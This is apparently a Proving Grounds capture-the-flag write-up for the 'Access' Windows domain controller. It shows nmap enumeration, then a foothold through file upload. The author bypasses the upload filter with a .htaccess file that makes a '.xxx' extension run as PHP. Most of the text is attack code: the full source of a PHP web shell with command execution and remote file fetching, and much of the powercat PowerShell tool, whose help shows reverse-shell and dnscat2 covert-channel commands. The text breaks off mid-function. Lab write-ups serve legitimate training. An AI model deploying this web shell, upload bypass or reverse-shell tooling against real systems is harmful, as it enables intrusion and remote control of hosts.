Access — Proving Grounds (192.168.112.187)
export target=192.168.112.187
Access — Proving Grounds (192.168.112.187)
Enumeration
$export target=192.168.112.187$ $nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt && sleep 5 && nmap -Pn $target -sV -sC -v -oN nmap_sVsC.txt && sleep 5 && nmap -T5 -Pn $target -v --script vuln -oN nmap_vuln.txt$ $PORT STATE SERVICE VERSION$53/tcp open domain Simple DNS Plus$ $80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)$|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7$|_http-title: Access The Event$| http-methods: $| Supported Methods: HEAD GET POST OPTIONS TRACE$|_ Potentially risky methods: TRACE$|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34$ $88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-24 04:26:38Z)$ $135/tcp open msrpc Microsoft Windows RPC$139/tcp open netbios-ssn Microsoft Windows netbios-ssn$ $389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)$ $443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)$|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7$|_ssl-date: TLS randomness does not represent time$| http-methods: $| Supported Methods: HEAD GET POST OPTIONS TRACE$|_ Potentially risky methods: TRACE$|_http-title: Access The Event$| ssl-cert: Subject: commonName=localhost$| Issuer: commonName=localhost$| Public Key type: rsa$| Public Key bits: 1024$| Signature Algorithm: sha1WithRSAEncryption$| Not valid before: 2009-11-10T23:48:47$| Not valid after: 2019-11-08T23:48:47$| MD5: a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0$|_SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6$| tls-alpn: $|_ http/1.1$ $445/tcp open microsoft-ds?$ $464/tcp open kpasswd5?$593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0$636/tcp open tcpwrapped$3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)$3269/tcp open tcpwrapped$ $5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)$|_http-server-header: Microsoft-HTTPAPI/2.0$|_http-title: Not Found$Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windowsWeb (80) {toggle="true"}
01```shell#Names Brenden Legros Hubert Hirthe Cole Emmerich Jack Christiansen Alejandrin Littel Willow Trantow ```
Foothold through the web via file upload. Used this php web shell. Renamed it into shell.xxx and uploaded .htaaccess file so I could see it. Then was able to run commands
(screenshot omitted)
$#<?php$/*******************************************************************************$ * Copyright 2017 WhiteWinterWolf$ * https://www.whitewinterwolf.com/tags/php-webshell/$ *$ * This file is part of wwolf-php-webshell.$ *$ * wwwolf-php-webshell is free software: you can redistribute it and/or modify$ * it under the terms of the GNU General Public License as published by$ * the Free Software Foundation, either version 3 of the License, or$ * (at your option) any later version.$ *$ * This program is distributed in the hope that it will be useful,$ * but WITHOUT ANY WARRANTY; without even the implied warranty of$ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the$ * GNU General Public License for more details.$ *$ * You should have received a copy of the GNU General Public License$ * along with this program. If not, see <http://www.gnu.org/licenses/>.$ ******************************************************************************/$ $/*$ * Optional password settings.$ * Use the 'passhash.sh' script to generate the hash.$ * NOTE: the prompt value is tied to the hash!$ */$$passprompt = "WhiteWinterWolf's PHP webshell: ";$$passhash = "";$ $function e($s) { echo htmlspecialchars($s, ENT_QUOTES); }$ $function h($s)${$global $passprompt;$if (function_exists('hash_hmac'))${$ return hash_hmac('sha256', $s, $passprompt);$}$else${$ return bin2hex(mhash(MHASH_SHA256, $s, $passprompt));$}$}$ $function fetch_fopen($host, $port, $src, $dst)${$global $err, $ok;$$ret = '';$if (strpos($host, '://') === false)${$ $host = 'http://' . $host;$}$else${$ $host = str_replace(array('ssl://', 'tls://'), 'https://', $host);$}$$rh = fopen("${host}:${port}${src}", 'rb');$if ($rh !== false)${$ $wh = fopen($dst, 'wb');$ if ($wh !== false)$ {$ $cbytes = 0;$ while (! feof($rh))$ {$ $cbytes += fwrite($wh, fread($rh, 1024));$ }$ fclose($wh);$ $ret .= "${ok} Fetched file <i>${dst}</i> (${cbytes} bytes)$";$ }$ else$ {$ $ret .= "${err} Failed to open file <i>${dst}</i>$";$ }$ fclose($rh);$}$else${$ $ret = "${err} Failed to open URL <i>${host}:${port}${src}</i>$";$}$return $ret;$}$ $function fetch_sock($host, $port, $src, $dst)${$global $err, $ok;$$ret = '';$$host = str_replace('https://', 'tls://', $host);$$s = fsockopen($host, $port);$if ($s)${$ $f = fopen($dst, 'wb');$ if ($f)$ {$ $buf = '';$ $r = array($s);$ $w = NULL;$ $e = NULL;$ fwrite($s, "GET ${src} HTTP/1.0\r\n\r\n");$ while (stream_select($r, $w, $e, 5) && !feof($s))$ {$ $buf .= fread($s, 1024);$ }$ $buf = substr($buf, strpos($buf, "\r\n\r\n") + 4);$ fwrite($f, $buf);$ fclose($f);$ $ret .= "${ok} Fetched file <i>${dst}</i> (" . strlen($buf) . " bytes)$";$ }$ else$ {$ $ret .= "${err} Failed to open file <i>${dst}</i>$";$ }$ fclose($s);$}$else${$ $ret .= "${err} Failed to connect to <i>${host}:${port}</i>$";$}$return $ret;$}$ $ini_set('log_errors', '0');$ini_set('display_errors', '1');$error_reporting(E_ALL);$ $while (@ ob_end_clean());$ $if (! isset($_SERVER))${$global $HTTP_POST_FILES, $HTTP_POST_VARS, $HTTP_SERVER_VARS;$$_FILES = &$HTTP_POST_FILES;$$_POST = &$HTTP_POST_VARS;$$_SERVER = &$HTTP_SERVER_VARS;$}$ $$auth = '';$$cmd = empty($_POST['cmd']) ? '' : $_POST['cmd'];$$cwd = empty($_POST['cwd']) ? getcwd() : $_POST['cwd'];$$fetch_func = 'fetch_fopen';$$fetch_host = empty($_POST['fetch_host']) ? $_SERVER['REMOTE_ADDR'] : $_POST['fetch_host'];$$fetch_path = empty($_POST['fetch_path']) ? '' : $_POST['fetch_path'];$$fetch_port = empty($_POST['fetch_port']) ? '80' : $_POST['fetch_port'];$$pass = empty($_POST['pass']) ? '' : $_POST['pass'];$$url = $_SERVER['REQUEST_URI'];$$status = '';$$ok = '☺ :';$$warn = '⚠ :';$$err = '☹ :';$ $if (! empty($passhash))${$if (function_exists('hash_hmac') || function_exists('mhash'))${$ $auth = empty($_POST['auth']) ? h($pass) : $_POST['auth'];$ if (h($auth) !== $passhash)$ {$ ?>$ <form method="post" action="<?php e($url); ?>">$ <?php e($passprompt); ?>$ <input type="password" size="15" name="pass">$ <input type="submit" value="Send">$ </form>$ <?php$ exit;$ }$}$else${$ $status .= "${warn} Authentication disabled ('mhash()' missing).$";$}$}$ $if (! ini_get('allow_url_fopen'))${$ini_set('allow_url_fopen', '1');$if (! ini_get('allow_url_fopen'))${$ if (function_exists('stream_select'))$ {$ $fetch_func = 'fetch_sock';$ }$ else$ {$ $fetch_func = '';$ $status .= "${warn} File fetching disabled ('allow_url_fopen'"$ . " disabled and 'stream_select()' missing).$";$ }$}$}$if (! ini_get('file_uploads'))${$ini_set('file_uploads', '1');$if (! ini_get('file_uploads'))${$ $status .= "${warn} File uploads disabled.$";$}$}$if (ini_get('open_basedir') && ! ini_set('open_basedir', ''))${$$status .= "${warn} open_basedir = " . ini_get('open_basedir') . "$";$}$ $if (! chdir($cwd))${$ $cwd = getcwd();$}$ $if (! empty($fetch_func) && ! empty($fetch_path))${$$dst = $cwd . DIRECTORY_SEPARATOR . basename($fetch_path);$$status .= $fetch_func($fetch_host, $fetch_port, $fetch_path, $dst);$}$ $if (ini_get('file_uploads') && ! empty($_FILES['upload']))${$$dest = $cwd . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);$if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest))${$ $status .= "${ok} Uploaded file <i>${dest}</i> (" . $_FILES['upload']['size'] . " bytes)$";$}$}$?>$ $<form method="post" action="<?php e($url); ?>"$<?php if (ini_get('file_uploads')): ?>$ enctype="multipart/form-data"$<?php endif; ?>$>$<?php if (! empty($passhash)): ?>$ <input type="hidden" name="auth" value="<?php e($auth); ?>">$<?php endif; ?>$<table border="0">$ <?php if (! empty($fetch_func)): ?>$ <tr><td>$ <b>Fetch:</b>$ </td><td>$ host: <input type="text" size="15" id="fetch_host" name="fetch_host" value="<?php e($fetch_host); ?>">$ port: <input type="text" size="4" id="fetch_port" name="fetch_port" value="<?php e($fetch_port); ?>">$ path: <input type="text" size="40" id="fetch_path" name="fetch_path" value="">$ </td></tr>$ <?php endif; ?>$ <tr><td>$ <b>CWD:</b>$ </td><td>$ <input type="text" size="50" id="cwd" name="cwd" value="<?php e($cwd); ?>">$ <?php if (ini_get('file_uploads')): ?>$ <b>Upload:</b> <input type="file" id="upload" name="upload">$ <?php endif; ?>$ </td></tr>$ <tr><td>$ <b>Cmd:</b>$ </td><td>$ <input type="text" size="80" id="cmd" name="cmd" value="<?php e($cmd); ?>">$ </td></tr>$ <tr><td>$ </td><td>$ <sup><a href="#" onclick="cmd.value=''; cmd.focus(); return false;">Clear cmd</a></sup>$ </td></tr>$ <tr><td colspan="2" style="text-align: center;">$ <input type="submit" value="Execute" style="text-align: right;">$ </td></tr>$</table>$ $</form>$<hr />$ $<?php$if (! empty($status))${$echo "<p>${status}</p>";$}$ $echo "<pre>";$if (! empty($cmd))${$echo "<b>";$e($cmd);$echo "</b>\n";$if (DIRECTORY_SEPARATOR == '/')${$ $p = popen('exec 2>&1; ' . $cmd, 'r');$}$else${$ $p = popen('cmd /C "' . $cmd . '" 2>&1', 'r');$}$while (! feof($p))${$ echo htmlspecialchars(fread($p, 4096), ENT_QUOTES);$ @ flush();$}$}$echo "</pre>";$ $exit;$?>$ $echo "AddType application/x-httpd-php .xxx" > .htaccessThen had to create Windows powercat.ps1 and upload it. https://github.com/besimorhino/powercat/blob/master/powercat.ps1
$function powercat${$ param($ [alias("Client")][string]$c="",$ [alias("Listen")][switch]$l=$False,$ [alias("Port")][Parameter(Position=-1)][string]$p="",$ [alias("Execute")][string]$e="",$ [alias("ExecutePowershell")][switch]$ep=$False,$ [alias("Relay")][string]$r="",$ [alias("UDP")][switch]$u=$False,$ [alias("dnscat2")][string]$dns="",$ [alias("DNSFailureThreshold")][int32]$dnsft=10,$ [alias("Timeout")][int32]$t=60,$ [Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,$ [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",$ [alias("OutputFile")][string]$of="",$ [alias("Disconnect")][switch]$d=$False,$ [alias("Repeater")][switch]$rep=$False,$ [alias("GeneratePayload")][switch]$g=$False,$ [alias("GenerateEncoded")][switch]$ge=$False,$ [alias("Help")][switch]$h=$False$ )$ $ ############### HELP ###############$ $Help = "$powercat - Netcat, The Powershell Version$Github Repository: https://github.com/besimorhino/powercat$ $This script attempts to implement the features of netcat in a powershell$script. It also contains extra features such as built-in relays, execute$powershell, and a dnscat2 client.$ $Usage: powercat [-c or -l] [-p port] [options]$ $ -c <ip> Client Mode. Provide the IP of the system you wish to connect to.$ If you are using -dns, specify the DNS Server to send queries to.$ $ -l Listen Mode. Start a listener on the port specified by -p.$ $ -p <port> Port. The port to connect to, or the port to listen on.$ $ -e <proc> Execute. Specify the name of the process to start.$ $ -ep Execute Powershell. Start a pseudo powershell session. You can$ declare variables and execute commands, but if you try to enter$ another shell (nslookup, netsh, cmd, etc.) the shell will hang.$ $ -r <str> Relay. Used for relaying network traffic between two nodes.$ Client Relay Format: -r <protocol>:<ip addr>:<port>$ Listener Relay Format: -r <protocol>:<port>$ DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>$ $ -u UDP Mode. Send traffic over UDP. Because it's UDP, the client$ must send data before the server can respond.$ $ -dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.$ Specify the dns server to -c, the dns port to -p, and specify the $ domain to this option, -dns. This is only a client.$ Get the server here: https://github.com/iagox86/dnscat2$ $ -dnsft <int> DNS Failure Threshold. This is how many bad packets the client can$ recieve before exiting. Set to zero when receiving files, and set high$ for more stability over the internet.$ $ -t <int> Timeout. The number of seconds to wait before giving up on listening or$ connecting. Default: 60$ $ -i <input> Input. Provide data to be sent down the pipe as soon as a connection is$ established. Used for moving files. You can provide the path to a file,$ a byte array object, or a string. You can also pipe any of those into$ powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80$ $ -o <type> Output. Specify how powercat should return information to the console.$ Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.$ $ -of <path> Output File. Specify the path to a file to write output to.$ $ -d Disconnect. powercat will disconnect after the connection is established$ and the input from -i is sent. Used for scanning.$ $ -rep Repeater. powercat will continually restart after it is disconnected.$ Used for setting up a persistent server.$ $ -g Generate Payload. Returns a script as a string which will execute the$ powercat with the options you have specified. -i, -d, and -rep will not$ be incorporated.$ $ -ge Generate Encoded Payload. Does the same as -g, but returns a string which$ can be executed in this way: powershell -E <encoded string>$ $ -h Print this help message.$ $Examples:$ $ Listen on port 8000 and print the output to the console.$ powercat -l -p 8000$ $ Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.$ powercat -c 10.1.1.1 -p 443 -e cmd -v$ $ Connect to the dnscat2 server on c2.example.com, and send dns queries$ to the dns server on 10.1.1.1 port 53.$ powercat -c 10.1.1.1 -p 53 -dns c2.example.com$ $ Send a file to 10.1.1.15 port 8000.$ powercat -c 10.1.1.15 -p 8000 -i C:\inputfile$ $ Write the data sent to the local listener on port 4444 to C:\outfile$ powercat -l -p 4444 -of C:\outfile$ $ Listen on port 8000 and repeatedly server a powershell shell.$ powercat -l -p 8000 -ep -rep$ $ Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.$ powercat -l -p 8000 -r tcp:10.1.1.1:9000$ $ Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,$ sending queries to 10.1.1.1 port 53.$ powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com$"$ if($h){return $Help}$ ############### HELP ###############$ $ ############### VALIDATE ARGS ###############$ $global:Verbose = $Verbose$ if($of -ne ''){$o = 'Bytes'}$ if($dns -eq "")$ {$ if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}$ if($p -eq ""){return "Please provide a port number to -p."}$ }$ if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}$ if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}$ if($l)$ {$ $Failure = $False$ netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}$ if($Failure){break}$ }$ if($r -ne "")$ {$ if($r.split(":").Count -eq 2)$ {$ $Failure = $False$ netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}$ if($Failure){break}$ }$ }$ ############### VALIDATE ARGS ###############$ $ ############### UDP FUNCTIONS ###############$ function Setup_UDP$ {$ param($FuncSetupVars)$ if($global:Verbose){$Verbose = $True}$ $c,$l,$p,$t = $FuncSetupVars$ $FuncVars = @{}$ $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding$ if($l)$ {$ $SocketDestinationBuffer = New-Object System.Byte[] 65536$ $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p$ $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p$ $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation$ Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")$ $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)$ $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()$ while($True)$ {$ if($Host.UI.RawUI.KeyAvailable)$ {$ if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))$ {$ Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."$ $FuncVars["Socket"].Close()$ $Stopwatch.Stop()$ break$ }$ }$ if($Stopwatch.Elapsed.TotalSeconds -gt $t)$ {$ $FuncVars["Socket"].Close()$ $Stopwatch.Stop()$ Write-Verbose "Timeout!" ; break$ }$ if($ConnectHandle.IsCompleted)$ {$ $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)$ Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")$ if($SocketBytesRead -gt 0){break}$ else{break}$ }$ }$ $Stopwatch.Stop()$ $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]$ }$ else$ {$ if(!$c.Contains("."))$ {$ $IPList = @()$ [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}$ Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])$ $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p$ }$ else$ {$ $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p$ }$ $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient$ $FuncVars["Socket"].Connect($c,$p)$ Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")$ Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")$ }$ $FuncVars["BufferSize"] = 65536$ $FuncVars["EndPoint"] = $EndPoint$ $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]$ $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)$ return $FuncVars$ }$ function ReadData_UDP$ {$ param($FuncVars)$ $Data = $null$ if($FuncVars["StreamReadOperation"].IsCompleted)$ {$ $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])$ if($StreamBytesRead -eq 0){break}$ $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]$ $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)$ }$ return $Data,$FuncVars$ }$ function WriteData_UDP$ {$ param($Data,$FuncVars)$ $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null$ return $FuncVars$ }$ function Close_UDP$ {$ param($FuncVars)$ $FuncVars["Socket"].Close()$ }$ ############### UDP FUNCTIONS ###############$ $ ############### DNS FUNCTIONS ###############$ function Setup_DNS$ {$ param($FuncSetupVars)$ if($global:Verbose){$Verbose = $True}$ function ConvertTo-HexArray$ {$ param($String)$ $Hex = @()$ $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}$ return $Hex$ }$ $ function SendPacket$ {$ param($Packet,$DNSServer,$DNSPort)$ $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")$ $result = ($Command | nslookup 2>&1 | Out-String)$ if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}$ else{return 1}$ }$ $ function Create_SYN$ {$ param($SessionId,$SeqNum,$Tag,$Domain)$ return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)$ }$ $ function Create_FIN$ {$ param($SessionId,$Tag,$Domain)$ return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)$ }$ $ function Create_MSG$ {$ param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)$ return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)$ }$ $ function DecodePacket$ {$ param($Packet)$ $ if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}$ $AcknowledgementNumber = ($Packet[10..13] -join "")$ $SeqNum = ($Packet[14..17] -join "")$ [byte[]]$ReturningData = @()$ $ if($Packet.Length -gt 18)$ {$ $PacketElim = $Packet.Substring(18)$ while($PacketElim.Length -gt 0)$ {$ $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)$ $PacketElim = $PacketElim.Substring(2)$ }$ }$ $ return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum$ }$ $ function AcknowledgeData$ {$ param($ReturningData,$AcknowledgementNumber)$ $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))$ if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}$ return $Hex$ }$ $FuncVars = @{}$ $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars$ if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}$ $FuncVars["Tag"] = ""$ $FuncVars["Domain"] = ("." + $FuncVars["Domain"])$ $ $FuncVars["Create_SYN"] = ${function:Create_SYN}$ $FuncVars["Create_MSG"] = ${function:Create_MSG}$ $FuncVars["Create_FIN"] = ${function:Create_FIN}$ $FuncVars["DecodePacket"] = ${function:DecodePacket}$ $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}$ $FuncVars["AckData"] = ${function:AcknowledgeData}$ $FuncVars["SendPacket"] = ${function:SendPacket}$ $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))$ $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))$ $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding$ $FuncVars["Failures"] = 0$ $ $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))$ $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))$ $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))$ if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}$ $ReturningData = $DecodedPacket[1]$ if($ReturningData -ne ""){$FuncVars["InputData"] = ""}$ $FuncVars["AckNum"] = $DecodedPacket[2]$ $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)$ if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}$ return $FuncVars$ }$ function ReadData_DNS$ {$ param($FuncVars)$ if($global:Verbose){$Verbose = $True}$ $ $PacketsData = @()$ $PacketData = ""$ $ if($FuncVars["InputData"] -ne $null)$ {$ $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))$ $SectionCount = 0$ $PacketCount = 0$ foreach($Char in $Hex)$ {$ if($SectionCount -ge 30)$ {$ $SectionCount = 0$ $PacketData += "."$ }$ if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))$ {$ $PacketsData += $PacketData.TrimEnd(".")$ $PacketCount = 0$ $SectionCount = 0$ $PacketData = ""$ }$ $PacketData += $Char$ $SectionCount += 2$ $PacketCount += 2$ }$ $PacketData = $PacketData.TrimEnd(".")$ $PacketsData += $PacketData$ $FuncVars["InputData"] = ""$ }$ else$ {$ $PacketsData = @("")$ }$ $ [byte[]]$ReturningData = @()$ foreach($PacketData in $PacketsData)$ {$ try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}$ catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }$ try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}$ catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }$ try$ {$ $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))$ if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }$ $FuncVars["AckNum"] = $DecodedPacket[2]$ $FuncVars["SeqNum"] = $DecodedPacket[3]$ $ReturningData += $DecodedPacket[1]$ }$ catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }$ if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }$ }$ $ if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}$ $ if($ReturningData -ne @())$ {$ $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))$ }$ return $ReturningData,$FuncVars$ }$ function WriteData_DNS$ {$ param($Data,$FuncVars)$ $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)$ return $FuncVars$ }$ function Close_DNS$ {$ param($FuncVars)$ $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])$ Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null$ }$ ############### DNS FUNCTIONS ###############$ $ ########## TCP FUNCTIONS ##########$ function Setup_TCP$ {$ param($FuncSetupVars)$ $c,$l,$p,$t = $FuncSetupVars$ if($global:Verbose){$Verbose = $True}$ $FuncVars = @{}$ if(!$l)$ {$ $FuncVars["l"] = $False$ $Socket = New-Object System.Net.Sockets.TcpClient$ Write-Verbose "Connecting..."$ $Handle = $Socket.BeginConnect($c,$p,$null,$null)$ }$ else$ {$ $FuncVars["l"] = $True$ Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")$ $Socket = New-Object System.Net.Sockets.TcpListener $p$ $Socket.Start()$ $Handle = $Socket.BeginAcceptTcpClient($null, $null)$ }$ $ $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()$ while($True)$ {$ if($Host.UI.RawUI.KeyAvailable)$ {$ if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))$ {$ Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."$ if($FuncVars["l"]){$Socket.Stop()}$ else{$Socket.Close()}$ $Stopwatch.Stop()$ break$ }$ }$ if($Stopwatch.Elapsed.TotalSeconds -gt $t)$ {$ if(!$l){$Socket.Close()}$ else{$Socket.Stop()}$ $Stopwatch.Stop()$ Write-Verbose "Timeout!" ; break$ break$ }$ if($Handle.IsCompleted)$ {$ if(!$l)$ {$ try$ {$ $Socket.EndConnect($Handle)$ $Stream = $Socket.GetStream()$ $BufferSize = $Socket.ReceiveBufferSize$ Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")$ }$ catch{$Socket.Close(); $Stopwatch.Stop(); break}$ }$ else$ {$ $Client = $Socket.EndAcceptTcpClient($Handle)$ $Stream = $Client.GetStream()$ $BufferSize = $Client.ReceiveBufferSize$ Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")$ }$ break$ }$ }$ $Stopwatch.Stop()$ if($Socket -eq $null){break}$ $FuncVars["Stream"] = $Stream$ $FuncVars["Socket"] = $Socket$ $FuncVars["BufferSize"] = $BufferSize$ $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])$ $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)$ $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding$ $FuncVars["StreamBytesRead"] = 1$ return $FuncVars$ }$ function ReadData_TCP$ {$ param($FuncVars)$ $Data = $null$ if($FuncVars["StreamBytesRead"] -eq 